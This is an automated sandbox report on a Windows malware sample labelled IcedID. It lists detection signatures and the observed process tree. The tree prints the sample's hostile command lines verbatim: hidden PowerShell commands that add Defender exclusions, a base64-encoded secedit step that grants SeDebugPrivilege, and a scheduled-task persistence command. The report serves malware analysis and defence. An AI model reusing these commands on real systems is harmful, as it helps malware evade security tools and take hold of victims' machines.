Overview

overview

10

Static

static

10

2026-07-19...id.exe

windows10-2004-x64

10

2026-07-19...id.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    20/07/2026, 01:49

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-07-19_16757fdd204edf101fc2fa25211d4e20_icedid.exe
  • Size 5.5MB
  • Sample260720-b8w3daev51
  • SHA256 e318e2f906c753d1ca0e54e93cc42bd5e41dc472cba2af72078fddb6d5653cf1
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasiondiscoveryexecutionpersistencetrojanupx

Malware Config

Signatures

  • UAC bypass 3 TTPs 3 IoCs
    defense_evasiontrojan
  • Detect binaries embedding considerable number of cryptocurrency wallet browser extension IDs. 59 IoCs
  • Detects Windows executables referencing non-Windows User-Agents 59 IoCs
  • Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 59 IoCs
  • Detects executables calling ClearMyTracksByProcess 59 IoCs
  • Detects executables containing commands for clearing Windows Event Logs 59 IoCs
  • Detects executables referencing many IR and analysis tools 59 IoCs
  • Detects executables referencing many confidential data stores found in browsers, mail clients, crypt 59 IoCs
  • UPX dump on OEP (original entry point) 62 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 11 IoCs

    Using powershell.exe command.

    execution
  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 1 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

    defense_evasion
  • Suspicious use of SetThreadContext 26 IoCs
  • UPX packed file 62 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Program Files directory 2 IoCs
  • Drops file in Windows directory 3 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 5 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • System Location Discovery: System Language Discovery 1 TTPs 15 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

    discovery
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    defense_evasion
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies registry class 5 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-19_16757fdd204edf101fc2fa25211d4e20_icedid.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-19_16757fdd204edf101fc2fa25211d4e20_icedid.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3512
    • C:\Users\Admin\AppData\Local\Temp\_ir_sf_temp_0\irsetup.exe
      "C:\Users\Admin\AppData\Local\Temp\_ir_sf_temp_0\irsetup.exe" __IRAOFF:5226434 "__IRAFN:C:\Users\Admin\AppData\Local\Temp\2026-07-19_16757fdd204edf101fc2fa25211d4e20_icedid.exe" "__IRCT:0" "__IRTSS:0" "__IRSID:S-1-5-21-1875162379-3804078649-638427191-1000"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in Program Files directory
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4624
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://metamask.io/zh-CN/download
        3⤵
        • Drops file in Windows directory
        • Enumerates system info in registry
        • Modifies data under HKEY_USERS
        • Modifies registry class
        • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:3908
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2cc,0x360,0x7ff80678c188,0x7ff80678c194,0x7ff80678c1a0
          4⤵
            PID:3508
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1648,i,11322460334258368811,12746469790614910880,262144 --field-trial-handle=2644,i,9399267846795464313,16342606615332692627,262144 --variations-seed-version --mojo-platform-channel-handle=2640 /prefetch:2
            4⤵
              PID:4956
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1880,i,15758059129384931072,5733433336414248175,524288 --field-trial-handle=2644,i,9399267846795464313,16342606615332692627,262144 --variations-seed-version --mojo-platform-channel-handle=2672 /prefetch:11
              4⤵
              • System Time Discovery
              PID:2308
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2328,i,8489364352301877641,13501604952504210866,524288 --field-trial-handle=2644,i,9399267846795464313,16342606615332692627,262144 --variations-seed-version --mojo-platform-channel-handle=3148 /prefetch:13
              4⤵
                PID:4852
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3604,i,10228251091074528014,9054919231577177765,2097152 --field-trial-handle=2644,i,9399267846795464313,16342606615332692627,262144 --variations-seed-version --mojo-platform-channel-handle=3680 /prefetch:1
                4⤵
                  PID:2060
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3600,i,17400177293967777374,4597356314623139662,2097152 --field-trial-handle=2644,i,9399267846795464313,16342606615332692627,262144 --variations-seed-version --mojo-platform-channel-handle=3676 /prefetch:1
                  4⤵
                    PID:3328
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4268,i,8087767945755494396,680549590482985019,2097152 --field-trial-handle=2644,i,9399267846795464313,16342606615332692627,262144 --variations-seed-version --mojo-platform-channel-handle=4592 /prefetch:1
                    4⤵
                      PID:4460
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4304,i,8213099514855206822,10563214282101393616,2097152 --field-trial-handle=2644,i,9399267846795464313,16342606615332692627,262144 --variations-seed-version --mojo-platform-channel-handle=4648 /prefetch:9
                      4⤵
                        PID:1272
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5404,i,6012616729739125167,9760378417016639931,524288 --field-trial-handle=2644,i,9399267846795464313,16342606615332692627,262144 --variations-seed-version --mojo-platform-channel-handle=5312 /prefetch:14
                        4⤵
                          PID:2768
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5584,i,8810627134000034786,16362683798937510137,524288 --field-trial-handle=2644,i,9399267846795464313,16342606615332692627,262144 --variations-seed-version --mojo-platform-channel-handle=5604 /prefetch:14
                          4⤵
                            PID:1280
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5588,i,11476314491671517102,3232690730250899259,524288 --field-trial-handle=2644,i,9399267846795464313,16342606615332692627,262144 --variations-seed-version --mojo-platform-channel-handle=5632 /prefetch:14
                            4⤵
                              PID:4568
                            • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6228,i,15338317294265543543,5169657576176557102,524288 --field-trial-handle=2644,i,9399267846795464313,16342606615332692627,262144 --variations-seed-version --mojo-platform-channel-handle=6244 /prefetch:14
                              4⤵
                                PID:1448
                              • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6228,i,15338317294265543543,5169657576176557102,524288 --field-trial-handle=2644,i,9399267846795464313,16342606615332692627,262144 --variations-seed-version --mojo-platform-channel-handle=6244 /prefetch:14
                                4⤵
                                  PID:888
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6536,i,6852794888842107588,13110298870558855347,524288 --field-trial-handle=2644,i,9399267846795464313,16342606615332692627,262144 --variations-seed-version --mojo-platform-channel-handle=6428 /prefetch:14
                                  4⤵
                                    PID:3216
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6504,i,6165871998203286748,14402495358693805355,524288 --field-trial-handle=2644,i,9399267846795464313,16342606615332692627,262144 --variations-seed-version --mojo-platform-channel-handle=6464 /prefetch:14
                                    4⤵
                                      PID:628
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5164,i,4169197512999224539,5098534788478598732,524288 --field-trial-handle=2644,i,9399267846795464313,16342606615332692627,262144 --variations-seed-version --mojo-platform-channel-handle=5160 /prefetch:14
                                      4⤵
                                        PID:2028
                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5148,i,4810016315577142089,15058038283737186756,524288 --field-trial-handle=2644,i,9399267846795464313,16342606615332692627,262144 --variations-seed-version --mojo-platform-channel-handle=6324 /prefetch:14
                                        4⤵
                                          PID:4604
                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6496,i,10553706356497876555,12092200748173945168,524288 --field-trial-handle=2644,i,9399267846795464313,16342606615332692627,262144 --variations-seed-version --mojo-platform-channel-handle=5292 /prefetch:14
                                          4⤵
                                            PID:2032
                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5792,i,302573580967632282,5320399984446776406,524288 --field-trial-handle=2644,i,9399267846795464313,16342606615332692627,262144 --variations-seed-version --mojo-platform-channel-handle=3132 /prefetch:14
                                            4⤵
                                              PID:1772
                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5912,i,9185390632528201343,6732549579945291273,524288 --field-trial-handle=2644,i,9399267846795464313,16342606615332692627,262144 --variations-seed-version --mojo-platform-channel-handle=6532 /prefetch:14
                                              4⤵
                                                PID:1452
                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6516,i,7257691503062279879,3653390537997460914,524288 --field-trial-handle=2644,i,9399267846795464313,16342606615332692627,262144 --variations-seed-version --mojo-platform-channel-handle=6776 /prefetch:14
                                                4⤵
                                                  PID:2372
                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=3904,i,15292366931911854310,4516261093618385066,262144 --field-trial-handle=2644,i,9399267846795464313,16342606615332692627,262144 --variations-seed-version --mojo-platform-channel-handle=6768 /prefetch:10
                                                  4⤵
                                                    PID:5856
                                                • C:\Windows\System32\cmd.exe
                                                  "C:\Windows\System32\cmd.exe" /c powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\iusb3mon.exe' -Force" >nul 2>&1
                                                  3⤵
                                                  • Executes a command shell one-liner
                                                  • Suspicious use of WriteProcessMemory
                                                  PID:1276
                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                    powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\iusb3mon.exe' -Force"
                                                    4⤵
                                                    • Command and Scripting Interpreter: PowerShell
                                                    • Suspicious behavior: EnumeratesProcesses
                                                    • Suspicious use of AdjustPrivilegeToken
                                                    PID:1176
                                                • C:\Windows\System32\cmd.exe
                                                  "C:\Windows\System32\cmd.exe" /c powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess '2026-07-19_16757fdd204edf101fc2fa25211d4e20_icedid.exe' -Force" >nul 2>&1
                                                  3⤵
                                                  • Executes a command shell one-liner
                                                  • Suspicious use of WriteProcessMemory
                                                  PID:3148
                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                    powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess '2026-07-19_16757fdd204edf101fc2fa25211d4e20_icedid.exe' -Force"
                                                    4⤵
                                                    • Command and Scripting Interpreter: PowerShell
                                                    • Suspicious behavior: EnumeratesProcesses
                                                    • Suspicious use of AdjustPrivilegeToken
                                                    PID:1684
                                                • C:\Windows\System32\cmd.exe
                                                  "C:\Windows\System32\cmd.exe" /c timeout /t 2 /nobreak >nul
                                                  3⤵
                                                  • Executes a command shell one-liner
                                                  • Suspicious use of WriteProcessMemory
                                                  PID:4872
                                                  • C:\Windows\system32\timeout.exe
                                                    timeout /t 2 /nobreak
                                                    4⤵
                                                    • Delays execution with timeout.exe
                                                    PID:2620
                                                • C:\Users\Admin\AppData\Local\iusb3mon.exe
                                                  "C:\Users\Admin\AppData\Local\iusb3mon.exe"
                                                  3⤵
                                                  • Executes dropped EXE
                                                  • Suspicious use of SetThreadContext
                                                  • System Location Discovery: System Language Discovery
                                                  • Suspicious use of WriteProcessMemory
                                                  PID:2164
                                                  • C:\Windows\SysWOW64\dllhost.exe
                                                    "C:\Windows\SysWOW64\dllhost.exe"
                                                    4⤵
                                                    • UAC bypass
                                                    • Adds Run key to start application
                                                    • Suspicious use of SetThreadContext
                                                    • System Location Discovery: System Language Discovery
                                                    • Checks processor information in registry
                                                    • Suspicious behavior: EnumeratesProcesses
                                                    • Suspicious behavior: GetForegroundWindowSpam
                                                    • Suspicious use of WriteProcessMemory
                                                    PID:2544
                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                      powershell.exe -NoProfile -Command "$temp = $env:TEMP;$inf = Join-Path $temp 'SeDebugPrivilege.inf';$sdb = Join-Path $temp 'SeDebugPrivilege.sdb';$log = Join-Path $temp 'SeDebugPrivilege.log';$b64 = '//5bAFUAbgBpAGMAbwBkAGUAXQANAAoAVQBuAGkAYwBvAGQAZQA9AHkAZQBzAA0ACgBbAFYAZQByAHMAaQBvAG4AXQANAAoAcwBpAGcAbgBhAHQAdQByAGUAPQAiACQAQwBIAEkAQwBBAEcATwAkACIADQAKAFIAZQB2AGkAcwBpAG8AbgA9ADEADQAKAFsAUAByAGkAdgBpAGwAZQBnAGUAIABSAGkAZwBoAHQAcwBdAA0ACgBTAGUARABlAGIAdQBnAFAAcgBpAHYAaQBsAGUAZwBlACAAPQAgACoAUwAtADEALQA1AC0AMQA4AA0ACgA=';[IO.File]::WriteAllBytes($inf, [Convert]::FromBase64String($b64));secedit.exe /configure /db $sdb /cfg $inf /overwrite /log $log /quiet;Start-Sleep -Seconds 5;Remove-Item -Path $inf -Force;"
                                                      5⤵
                                                      • Command and Scripting Interpreter: PowerShell
                                                      • System Location Discovery: System Language Discovery
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:4404
                                                      • C:\Windows\SysWOW64\SecEdit.exe
                                                        "C:\Windows\system32\SecEdit.exe" /configure /db C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege.sdb /cfg C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege.inf /overwrite /log C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege.log /quiet
                                                        6⤵
                                                        • System Location Discovery: System Language Discovery
                                                        PID:2004
                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                      powershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Local\ziliao.jpg'"
                                                      5⤵
                                                      • Command and Scripting Interpreter: PowerShell
                                                      • System Location Discovery: System Language Discovery
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:4664
                                                    • C:\Windows\SysWOW64\prevhost.exe
                                                      C:\Windows\SysWOW64\prevhost.exe
                                                      5⤵
                                                        PID:4432
                                                      • C:\Windows\SysWOW64\cmd.exe
                                                        cmd.exe /c schtasks.exe /query /tn "WinSvcMon_3C6F10A0" >nul 2>&1
                                                        5⤵
                                                        • Executes a command shell one-liner
                                                        • System Location Discovery: System Language Discovery
                                                        • Suspicious use of WriteProcessMemory
                                                        PID:1220
                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                          schtasks.exe /query /tn "WinSvcMon_3C6F10A0"
                                                          6⤵
                                                          • System Location Discovery: System Language Discovery
                                                          PID:2064
                                                      • C:\Windows\SysWOW64\cmd.exe
                                                        cmd.exe /c schtasks.exe /create /tn "WinSvcMon_3C6F10A0" /xml "C:\Users\Admin\AppData\Local\Temp\240752093_wd.xml" /f >nul 2>&1
                                                        5⤵
                                                        • Executes a command shell one-liner
                                                        • System Location Discovery: System Language Discovery
                                                        • Suspicious use of WriteProcessMemory
                                                        PID:1840
                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                          schtasks.exe /create /tn "WinSvcMon_3C6F10A0" /xml "C:\Users\Admin\AppData\Local\Temp\240752093_wd.xml" /f
                                                          6⤵
                                                          • System Location Discovery: System Language Discovery
                                                          • Scheduled Task/Job: Scheduled Task
                                                          PID:2404
                                                      • C:\Windows\SysWOW64\prevhost.exe
                                                        C:\Windows\SysWOW64\prevhost.exe
                                                        5⤵
                                                          PID:4092
                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                          powershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\iusb3mon.exe'"
                                                          5⤵
                                                          • Command and Scripting Interpreter: PowerShell
                                                          • System Location Discovery: System Language Discovery
                                                          PID:3128
                                                        • C:\Windows\SysWOW64\prevhost.exe
                                                          C:\Windows\SysWOW64\prevhost.exe
                                                          5⤵
                                                            PID:2076
                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                            powershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'iusb3mon.exe'"
                                                            5⤵
                                                            • Command and Scripting Interpreter: PowerShell
                                                            • System Location Discovery: System Language Discovery
                                                            PID:2660
                                                          • C:\Windows\SysWOW64\prevhost.exe
                                                            C:\Windows\SysWOW64\prevhost.exe
                                                            5⤵
                                                              PID:5588
                                                            • C:\Windows\SysWOW64\prevhost.exe
                                                              C:\Windows\SysWOW64\prevhost.exe
                                                              5⤵
                                                                PID:5944
                                                              • C:\Windows\SysWOW64\prevhost.exe
                                                                C:\Windows\SysWOW64\prevhost.exe
                                                                5⤵
                                                                  PID:4456
                                                                • C:\Windows\SysWOW64\prevhost.exe
                                                                  C:\Windows\SysWOW64\prevhost.exe
                                                                  5⤵
                                                                    PID:4844
                                                                  • C:\Windows\SysWOW64\prevhost.exe
                                                                    C:\Windows\SysWOW64\prevhost.exe
                                                                    5⤵
                                                                      PID:5484
                                                                    • C:\Windows\SysWOW64\prevhost.exe
                                                                      C:\Windows\SysWOW64\prevhost.exe
                                                                      5⤵
                                                                        PID:5596
                                                                      • C:\Windows\SysWOW64\prevhost.exe
                                                                        C:\Windows\SysWOW64\prevhost.exe
                                                                        5⤵
                                                                          PID:1912
                                                                        • C:\Windows\SysWOW64\prevhost.exe
                                                                          C:\Windows\SysWOW64\prevhost.exe
                                                                          5⤵
                                                                            PID:4156
                                                                          • C:\Windows\SysWOW64\prevhost.exe
                                                                            C:\Windows\SysWOW64\prevhost.exe
                                                                            5⤵
                                                                              PID:2480
                                                                            • C:\Windows\SysWOW64\prevhost.exe
                                                                              C:\Windows\SysWOW64\prevhost.exe
                                                                              5⤵
                                                                                PID:4596
                                                                              • C:\Windows\SysWOW64\prevhost.exe
                                                                                C:\Windows\SysWOW64\prevhost.exe
                                                                                5⤵
                                                                                  PID:2352
                                                                                • C:\Windows\SysWOW64\prevhost.exe
                                                                                  C:\Windows\SysWOW64\prevhost.exe
                                                                                  5⤵
                                                                                    PID:3496
                                                                                  • C:\Windows\SysWOW64\prevhost.exe
                                                                                    C:\Windows\SysWOW64\prevhost.exe
                                                                                    5⤵
                                                                                      PID:2428
                                                                                    • C:\Windows\SysWOW64\prevhost.exe
                                                                                      C:\Windows\SysWOW64\prevhost.exe
                                                                                      5⤵
                                                                                        PID:1108
                                                                                      • C:\Windows\SysWOW64\prevhost.exe
                                                                                        C:\Windows\SysWOW64\prevhost.exe
                                                                                        5⤵
                                                                                          PID:4308
                                                                                        • C:\Windows\SysWOW64\prevhost.exe
                                                                                          C:\Windows\SysWOW64\prevhost.exe
                                                                                          5⤵
                                                                                            PID:2896
                                                                                          • C:\Windows\SysWOW64\prevhost.exe
                                                                                            C:\Windows\SysWOW64\prevhost.exe
                                                                                            5⤵
                                                                                              PID:3204
                                                                                            • C:\Windows\SysWOW64\prevhost.exe
                                                                                              C:\Windows\SysWOW64\prevhost.exe
                                                                                              5⤵
                                                                                                PID:4220
                                                                                              • C:\Windows\SysWOW64\prevhost.exe
                                                                                                C:\Windows\SysWOW64\prevhost.exe
                                                                                                5⤵
                                                                                                  PID:5220
                                                                                                • C:\Windows\SysWOW64\prevhost.exe
                                                                                                  C:\Windows\SysWOW64\prevhost.exe
                                                                                                  5⤵
                                                                                                    PID:1408
                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
                                                                                            1⤵
                                                                                              PID:1448
                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
                                                                                              1⤵
                                                                                                PID:1288
                                                                                              • C:\Users\Admin\AppData\Local\iusb3mon.exe
                                                                                                C:\Users\Admin\AppData\Local\iusb3mon.exe
                                                                                                1⤵
                                                                                                • Executes dropped EXE
                                                                                                • Suspicious use of SetThreadContext
                                                                                                • System Location Discovery: System Language Discovery
                                                                                                PID:4600
                                                                                                • C:\Windows\SysWOW64\dllhost.exe
                                                                                                  "C:\Windows\SysWOW64\dllhost.exe"
                                                                                                  2⤵
                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                  PID:5544
                                                                                              • C:\Users\Admin\AppData\Local\iusb3mon.exe
                                                                                                "C:\Users\Admin\AppData\Local\iusb3mon.exe"
                                                                                                1⤵
                                                                                                • Executes dropped EXE
                                                                                                • Suspicious use of SetThreadContext
                                                                                                • System Location Discovery: System Language Discovery
                                                                                                PID:2280
                                                                                                • C:\Windows\SysWOW64\dllhost.exe
                                                                                                  "C:\Windows\SysWOW64\dllhost.exe"
                                                                                                  2⤵
                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                  PID:4536

